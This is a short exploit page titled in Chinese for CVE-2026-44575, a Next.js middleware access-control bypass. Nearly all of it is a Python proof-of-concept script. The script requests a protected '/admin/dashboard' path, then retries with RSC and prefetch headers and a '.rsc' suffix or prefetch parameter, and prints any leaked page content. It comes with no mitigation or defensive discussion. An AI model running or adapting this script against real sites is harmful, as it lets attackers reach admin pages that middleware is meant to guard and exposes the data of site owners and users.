CVE-2026-44575 Next.js访问控制绕过漏洞

import requests # Target configuration target_url = "http://vulnerable-nextjs-app.com" protected_path = "/admin/dashboard" # Path protected by middleware print("[*] Attempting standard access...") standard_response = requests.get(f"{target_url}{protected_path}") print(f"Standard Status: {standard_response.status_code}") # Expected: 302/401 # Exploit attempt using transport-specific variant (segment-prefetch/RSC) # Vulnerable versions may serve content without middleware check on these endpoints print("[*] Attempting bypass via segment-prefetch variant...") # Headers that might trigger the vulnerable prefetch/RSC logic exploit_headers = { "User-Agent": "Mozilla/5.0", "Accept": "text/x-component", # Often used for RSC "Next-Router-Prefetch": "1" # Simulating a prefetch request } bypass_response = requests.get(f"{target_url}{protected_path}.rsc", headers=exploit_headers) # Or alternatively targeting the prefetch parameter if applicable # bypass_response = requests.get(f"{target_url}{protected_path}?__next_prefetch=1") if bypass_response.status_code == 200: print("[+] Bypass successful! Received 200 OK.") print(f"[+] Leaked Content: {bypass_response.text[:200]}") else: print("[-] Bypass failed.")